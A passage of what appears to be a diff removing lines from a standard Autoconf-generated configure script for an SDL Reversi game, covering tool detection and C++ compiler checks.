"$as_me:${as_lineno-$LINENO}: checking for a BSD-compatible install" >&5 -printf %s "checking for a BSD-compatible install... " >&6; } -if test -z "$INSTALL"; then -if test ${ac_cv_path_install+y} -then : - printf %s "(cached) " >&6 -else $as_nop - as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - # Account for fact that we put trailing slashes in our PATH walk. -case $as_dir in #(( - ./ | /[cC]/* | \ - /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ - ?:[\\/]os2[\\/]install[\\/]* | ?:[\\/]OS2[\\/]INSTALL[\\/]* | \ - /usr/ucb/* ) ;; - *) - # OSF1 and SCO ODT 3.0 have their own names for install. - # Don't use installbsd from OSF since it installs stuff as root - # by default. - for ac_prog in ginstall scoinst install; do - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_prog$ac_exec_ext"; then - if test $ac_prog = install && - grep dspmsg "$as_dir$ac_prog$ac_exec_ext" >/dev/null 2>&1; then - # AIX install. It has an incompatible calling convention. - : - elif test $ac_prog = install && - grep pwplus "$as_dir$ac_prog$ac_exec_ext" >/dev/null 2>&1; then - # program-specific install script used by HP pwplus--don't use. - : - else - rm -rf conftest.one conftest.two conftest.dir - echo one > conftest.one - echo two > conftest.two - mkdir conftest.dir - if "$as_dir$ac_prog$ac_exec_ext" -c conftest.one conftest.two "`pwd`/conftest.dir/" && - test -s conftest.one && test -s conftest.two && - test -s conftest.dir/conftest.one && - test -s conftest.dir/conftest.two - then - ac_cv_path_install="$as_dir$ac_prog$ac_exec_ext -c" - break 3 - fi - fi - fi - done - done - ;; -esac - - done -IFS=$as_save_IFS - -rm -rf conftest.one conftest.two conftest.dir - -fi - if test ${ac_cv_path_install+y}; then - INSTALL=$ac_cv_path_install - else - # As a last resort, use the slow shell script. Don't cache a - # value for INSTALL within a source directory, because that will - # break other packages using the cache if that directory is - # removed, or if the value is a relative name. - INSTALL=$ac_install_sh - fi -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $INSTALL" >&5 -printf "%s\n" "$INSTALL" >&6; } - -# Use test -z because SunOS4 sh mishandles braces in ${var-val}. -# It thinks the first close brace ends the variable substitution. -test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' - -test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' - -test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether build environment is sane" >&5 -printf %s "checking whether build environment is sane... " >&6; } -# Reject unsafe characters in $srcdir or the absolute working directory -# name. Accept space and tab only in the latter. -am_lf=' -' -case `pwd` in - *[\\\"\#\$\&\'\`$am_lf]*) - as_fn_error $? "unsafe absolute working directory name" "$LINENO" 5;; -esac -case $srcdir in - *[\\\"\#\$\&\'\`$am_lf\ \ ]*) - as_fn_error $? "unsafe srcdir value: '$srcdir'" "$LINENO" 5;; -esac - -# Do 'set' in a subshell so we don't clobber the current shell's -# arguments. Must try -L first in case configure is actually a -# symlink; some systems play weird games with the mod time of symlinks -# (eg FreeBSD returns the mod time of the symlink's containing -# directory). -if ( - am_has_slept=no - for am_try in 1 2; do - echo "timestamp, slept: $am_has_slept" > conftest.file - set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` - if test "$*" = "X"; then - # -L didn't work. - set X `ls -t "$srcdir/configure" conftest.file` - fi - if test "$*" != "X $srcdir/configure conftest.file" \ - && test "$*" != "X conftest.file $srcdir/configure"; then - - # If neither matched, then we have a broken ls. This can happen - # if, for instance, CONFIG_SHELL is bash and it inherits a - # broken ls alias from the environment. This has actually - # happened. Such a system could not be considered "sane". - as_fn_error $? "ls -t appears to fail. Make sure there is not a broken - alias in your environment" "$LINENO" 5 - fi - if test "$2" = conftest.file || test $am_try -eq 2; then - break - fi - # Just in case. - sleep 1 - am_has_slept=yes - done - test "$2" = conftest.file - ) -then - # Ok. - : -else - as_fn_error $? "newly created file is older than distributed files! -Check your system clock" "$LINENO" 5 -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 -printf "%s\n" "yes" >&6; } -# If we didn't sleep, we still need to ensure time stamps of config.status and -# generated files are strictly newer. -am_sleep_pid= -if grep 'slept: no' conftest.file >/dev/null 2>&1; then - ( sleep 1 ) & - am_sleep_pid=$! -fi - -rm -f conftest.file - -test "$program_prefix" != NONE && - program_transform_name="s&^&$program_prefix&;$program_transform_name" -# Use a double $ so make ignores it. -test "$program_suffix" != NONE && - program_transform_name="s&\$&$program_suffix&;$program_transform_name" -# Double any \ or $. -# By default was `s,x,x', remove it if useless. -ac_script='s/[\\$]/&&/g;s/;s,x,x,$//' -program_transform_name=`printf "%s\n" "$program_transform_name" | sed "$ac_script"` - - -# Expand $ac_aux_dir to an absolute path. -am_aux_dir=`cd "$ac_aux_dir" && pwd` - - - if test x"${MISSING+set}" != xset; then - MISSING="\${SHELL} '$am_aux_dir/missing'" -fi -# Use eval to expand $SHELL -if eval "$MISSING --is-lightweight"; then - am_missing_run="$MISSING " -else - am_missing_run= - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: 'missing' script is too old or missing" >&5 -printf "%s\n" "$as_me: WARNING: 'missing' script is too old or missing" >&2;} -fi - -if test x"${install_sh+set}" != xset; then - case $am_aux_dir in - *\ * | *\ *) - install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; - *) - install_sh="\${SHELL} $am_aux_dir/install-sh" - esac -fi - -# Installed binaries are usually stripped using 'strip' when the user -# run "make install-strip". However 'strip' might not be the right -# tool to use in cross-compilation environments, therefore Automake -# will honor the 'STRIP' environment variable to overrule this program. -if test "$cross_compiling" != no; then - if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. -set dummy ${ac_tool_prefix}strip; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_STRIP+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$STRIP"; then - ac_cv_prog_STRIP="$STRIP" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_STRIP="${ac_tool_prefix}strip" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -STRIP=$ac_cv_prog_STRIP -if test -n "$STRIP"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 -printf "%s\n" "$STRIP" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - -fi -if test -z "$ac_cv_prog_STRIP"; then - ac_ct_STRIP=$STRIP - # Extract the first word of "strip", so it can be a program name with args. -set dummy strip; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_ac_ct_STRIP+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$ac_ct_STRIP"; then - ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_STRIP="strip" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP -if test -n "$ac_ct_STRIP"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 -printf "%s\n" "$ac_ct_STRIP" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - if test "x$ac_ct_STRIP" = x; then - STRIP=":" - else - case $cross_compiling:$ac_tool_warned in -yes:) -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 -printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} -ac_tool_warned=yes ;; -esac - STRIP=$ac_ct_STRIP - fi -else - STRIP="$ac_cv_prog_STRIP" -fi - -fi -INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" - - - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a race-free mkdir -p" >&5 -printf %s "checking for a race-free mkdir -p... " >&6; } -if test -z "$MKDIR_P"; then - if test ${ac_cv_path_mkdir+y} -then : - printf %s "(cached) " >&6 -else $as_nop - as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH$PATH_SEPARATOR/opt/sfw/bin -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_prog in mkdir gmkdir; do - for ac_exec_ext in '' $ac_executable_extensions; do - as_fn_executable_p "$as_dir$ac_prog$ac_exec_ext" || continue - case `"$as_dir$ac_prog$ac_exec_ext" --version 2>&1` in #( - 'mkdir ('*'coreutils) '* | \ - 'BusyBox '* | \ - 'mkdir (fileutils) '4.1*) - ac_cv_path_mkdir=$as_dir$ac_prog$ac_exec_ext - break 3;; - esac - done - done - done -IFS=$as_save_IFS - -fi - - test -d ./--version && rmdir ./--version - if test ${ac_cv_path_mkdir+y}; then - MKDIR_P="$ac_cv_path_mkdir -p" - else - # As a last resort, use the slow shell script. Don't cache a - # value for MKDIR_P within a source directory, because that will - # break other packages using the cache if that directory is - # removed, or if the value is a relative name. - MKDIR_P="$ac_install_sh -d" - fi -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MKDIR_P" >&5 -printf "%s\n" "$MKDIR_P" >&6; } - -for ac_prog in gawk mawk nawk awk -do - # Extract the first word of "$ac_prog", so it can be a program name with args. -set dummy $ac_prog; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_AWK+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$AWK"; then - ac_cv_prog_AWK="$AWK" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_AWK="$ac_prog" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -AWK=$ac_cv_prog_AWK -if test -n "$AWK"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $AWK" >&5 -printf "%s\n" "$AWK" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - - test -n "$AWK" && break -done - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} sets \$(MAKE)" >&5 -printf %s "checking whether ${MAKE-make} sets \$(MAKE)... " >&6; } -set x ${MAKE-make} -ac_make=`printf "%s\n" "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` -if eval test \${ac_cv_prog_make_${ac_make}_set+y} -then : - printf %s "(cached) " >&6 -else $as_nop - cat >conftest.make <<\_ACEOF -SHELL = /bin/sh -all: - @echo '@@@%%%=$(MAKE)=@@@%%%' -_ACEOF -# GNU make sometimes prints "make[1]: Entering ...", which would confuse us. -case `${MAKE-make} -f conftest.make 2>/dev/null` in - *@@@%%%=?*=@@@%%%*) - eval ac_cv_prog_make_${ac_make}_set=yes;; - *) - eval ac_cv_prog_make_${ac_make}_set=no;; -esac -rm -f conftest.make -fi -if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 -printf "%s\n" "yes" >&6; } - SET_MAKE= -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } - SET_MAKE="MAKE=${MAKE-make}" -fi - -rm -rf .tst 2>/dev/null -mkdir .tst 2>/dev/null -if test -d .tst; then - am__leading_dot=. -else - am__leading_dot=_ -fi -rmdir .tst 2>/dev/null - -# Check whether --enable-silent-rules was given. -if test ${enable_silent_rules+y} -then : - enableval=$enable_silent_rules; -fi - -case $enable_silent_rules in # ((( - yes) AM_DEFAULT_VERBOSITY=0;; - no) AM_DEFAULT_VERBOSITY=1;; - *) AM_DEFAULT_VERBOSITY=1;; -esac -am_make=${MAKE-make} -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $am_make supports nested variables" >&5 -printf %s "checking whether $am_make supports nested variables... " >&6; } -if test ${am_cv_make_support_nested_variables+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if printf "%s\n" 'TRUE=$(BAR$(V)) -BAR0=false -BAR1=true -V=1 -am__doit: - @$(TRUE) -.PHONY: am__doit' | $am_make -f - >/dev/null 2>&1; then - am_cv_make_support_nested_variables=yes -else - am_cv_make_support_nested_variables=no -fi -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_make_support_nested_variables" >&5 -printf "%s\n" "$am_cv_make_support_nested_variables" >&6; } -if test $am_cv_make_support_nested_variables = yes; then - AM_V='$(V)' - AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)' -else - AM_V=$AM_DEFAULT_VERBOSITY - AM_DEFAULT_V=$AM_DEFAULT_VERBOSITY -fi -AM_BACKSLASH='\' - -if test "`cd $srcdir && pwd`" != "`pwd`"; then - # Use -I$(srcdir) only when $(srcdir) != ., so that make's output - # is not polluted with repeated "-I." - am__isrc=' -I$(srcdir)' - # test to see if srcdir already configured - if test -f $srcdir/config.status; then - as_fn_error $? "source directory already configured; run \"make distclean\" there first" "$LINENO" 5 - fi -fi - -# test whether we have cygpath -if test -z "$CYGPATH_W"; then - if (cygpath --version) >/dev/null 2>/dev/null; then - CYGPATH_W='cygpath -w' - else - CYGPATH_W=echo - fi -fi - - -# Define the identity of the package. - PACKAGE='sdlreversi' - VERSION='1.0' - - -printf "%s\n" "#define PACKAGE \"$PACKAGE\"" >>confdefs.h - - -printf "%s\n" "#define VERSION \"$VERSION\"" >>confdefs.h - -# Some tools Automake needs. - -ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} - - -AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} - - -AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} - - -AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} - - -MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} - -# For better backward compatibility. To be removed once Automake 1.9.x -# dies out for good. For more background, see: -# -# -mkdir_p='$(MKDIR_P)' - -# We need awk for the "check" target (and possibly the TAP driver). The -# system "awk" is bad on some platforms. -# Always define AMTAR for backward compatibility. Yes, it's still used -# in the wild :-( We should find a proper way to deprecate it ... -AMTAR='$${TAR-tar}' - - -# We'll loop over all known methods to create a tar archive until one works. -_am_tools='gnutar pax cpio none' - -am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -' - - - - - -# Variables for tags utilities; see am/tags.am -if test -z "$CTAGS"; then - CTAGS=ctags -fi - -if test -z "$ETAGS"; then - ETAGS=etags -fi - -if test -z "$CSCOPE"; then - CSCOPE=cscope -fi - - - -# POSIX will say in a future version that running "rm -f" with no argument -# is OK; and we want to be able to make that assumption in our Makefile -# recipes. So use an aggressive probe to check that the usage we want is -# actually supported "in the wild" to an acceptable degree. -# See automake bug#10828. -# To make any issue more visible, cause the running configure to be aborted -# by default if the 'rm' program in use doesn't match our expectations; the -# user can still override this though. -if rm -f && rm -fr && rm -rf; then : OK; else - cat >&2 <<'END' -Oops! - -Your 'rm' program seems unable to run without file operands specified -on the command line, even when the '-f' option is present. This is contrary -to the behaviour of most rm programs out there, and not conforming with -the upcoming POSIX standard: - -Please tell bug-automake@gnu.org about your system, including the value -of your $PATH and any error possibly output before this message. This -can help us improve future automake versions. - -END - if test x"$ACCEPT_INFERIOR_RM_PROGRAM" = x"yes"; then - echo 'Configuration will proceed anyway, since you have set the' >&2 - echo 'ACCEPT_INFERIOR_RM_PROGRAM variable to "yes"' >&2 - echo >&2 - else - cat >&2 <<'END' -Aborting the configuration process, to ensure you take notice of the issue. - -You can download and install GNU coreutils to get an 'rm' implementation -that behaves properly: . - -If you want to complete the configuration process using your problematic -'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM -to "yes", and re-run configure. - -END - as_fn_error $? "Your 'rm' program is bad, sorry." "$LINENO" 5 - fi -fi - - -# Checks for programs. - - - - - - -ac_ext=cpp -ac_cpp='$CXXCPP $CPPFLAGS' -ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_cxx_compiler_gnu -if test -z "$CXX"; then - if test -n "$CCC"; then - CXX=$CCC - else - if test -n "$ac_tool_prefix"; then - for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC clang++ - do - # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. -set dummy $ac_tool_prefix$ac_prog; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_CXX+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$CXX"; then - ac_cv_prog_CXX="$CXX" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_CXX="$ac_tool_prefix$ac_prog" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -CXX=$ac_cv_prog_CXX -if test -n "$CXX"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CXX" >&5 -printf "%s\n" "$CXX" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - - test -n "$CXX" && break - done -fi -if test -z "$CXX"; then - ac_ct_CXX=$CXX - for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC clang++ -do - # Extract the first word of "$ac_prog", so it can be a program name with args. -set dummy $ac_prog; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_ac_ct_CXX+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$ac_ct_CXX"; then - ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CXX="$ac_prog" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -ac_ct_CXX=$ac_cv_prog_ac_ct_CXX -if test -n "$ac_ct_CXX"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CXX" >&5 -printf "%s\n" "$ac_ct_CXX" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - - test -n "$ac_ct_CXX" && break -done - - if test "x$ac_ct_CXX" = x; then - CXX="g++" - else - case $cross_compiling:$ac_tool_warned in -yes:) -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 -printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} -ac_tool_warned=yes ;; -esac - CXX=$ac_ct_CXX - fi -fi - - fi -fi -# Provide some information about the compiler. -printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for C++ compiler version" >&5 -set X $ac_compile -ac_compiler=$2 -for ac_option in --version -v -V -qversion; do - { { ac_try="$ac_compiler $ac_option >&5" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_compiler $ac_option >&5") 2>conftest.err - ac_status=$? - if test -s conftest.err; then - sed '10a\ -... rest of stderr output deleted ... - 10q' conftest.err >conftest.er1 - cat conftest.er1 >&5 - fi - rm -f conftest.er1 conftest.err - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } -done - -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -ac_clean_files_save=$ac_clean_files -ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" -# Try to create an executable without -o first, disregard a.out. -# It will help us diagnose broken compilers, and finding out an intuition -# of exeext. -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5 -printf %s "checking whether the C++ compiler works... " >&6; } -ac_link_default=`printf "%s\n" "$ac_link" | sed 's/ -o *conftest[^ ]*//'` - -# The possible output files: -ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" - -ac_rmfiles= -for ac_file in $ac_files -do - case $ac_file in - *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; - * ) ac_rmfiles="$ac_rmfiles $ac_file";; - esac -done -rm -f $ac_rmfiles - -if { { ac_try="$ac_link_default" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_link_default") 2>&5 - ac_status=$? - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } -then : - # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. -# So ignore a value of `no', otherwise this would lead to `EXEEXT = no' -# in a Makefile. We should not override ac_cv_exeext if it was cached, -# so that the user can short-circuit this test for compilers unknown to -# Autoconf. -for ac_file in $ac_files '' -do - test -f "$ac_file" || continue - case $ac_file in - *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) - ;; - [ab].out ) - # We found the default executable, but exeext='' is most - # certainly right. - break;; - *.* ) - if test ${ac_cv_exeext+y} && test "$ac_cv_exeext" != no; - then :; else - ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` - fi - # We set ac_cv_exeext here because the later test for it is not - # safe: cross compilers may not add the suffix if given an `-o' - # argument, so we may need to know it at that point already. - # Even if this section looks crufty: it has the advantage of - # actually working. - break;; - * ) - break;; - esac -done -test "$ac_cv_exeext" = no && ac_cv_exeext= - -else $as_nop - ac_file='' -fi -if test -z "$ac_file" -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -printf "%s\n" "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -{ { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error 77 "C++ compiler cannot create executables -See \`config.log' for more details" "$LINENO" 5; } -else $as_nop - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 -printf "%s\n" "yes" >&6; } -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5 -printf %s "checking for C++ compiler default output file name... " >&6; } -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 -printf "%s\n" "$ac_file" >&6; } -ac_exeext=$ac_cv_exeext - -rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out -ac_clean_files=$ac_clean_files_save -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 -printf %s "checking for suffix of executables... " >&6; } -if { { ac_try="$ac_link" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_link") 2>&5 - ac_status=$? - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } -then : - # If both `conftest.exe' and `conftest' are `present' (well, observable) -# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will -# work properly (i.e., refer to `conftest.exe'), while it won't with -# `rm'. -for ac_file in conftest.exe conftest conftest.*; do - test -f "$ac_file" || continue - case $ac_file in - *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; - *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` - break;; - * ) break;; - esac -done -else $as_nop - { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error $? "cannot compute suffix of executables: cannot compile and link -See \`config.log' for more details" "$LINENO" 5; } -fi -rm -f conftest conftest$ac_cv_exeext -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 -printf "%s\n" "$ac_cv_exeext" >&6; } - -rm -f conftest.$ac_ext -EXEEXT=$ac_cv_exeext -ac_exeext=$EXEEXT -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ -#include -int -main (void) -{ -FILE *f = fopen ("conftest.out", "w"); - return ferror (f) || fclose (f) != 0; - - ; - return 0; -} -_ACEOF -ac_clean_files="$ac_clean_files conftest.out" -# Check that the compiler produces executables we can run. If not, either -# the compiler is broken, or we cross compile. -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 -printf %s "checking whether we are cross compiling... " >&6; } -if test "$cross_compiling" != yes; then - { { ac_try="$ac_link" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_link") 2>&5 - ac_status=$? - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } - if { ac_try='./conftest$ac_cv_exeext' - { { case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_try") 2>&5 - ac_status=$? - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; }; }; then - cross_compiling=no - else - if test "$cross_compiling" = maybe; then - cross_compiling=yes - else - { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error 77 "cannot run C++ compiled programs. -If you meant to cross compile, use \`--host'. -See \`config.log' for more details" "$LINENO" 5; } - fi - fi -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 -printf 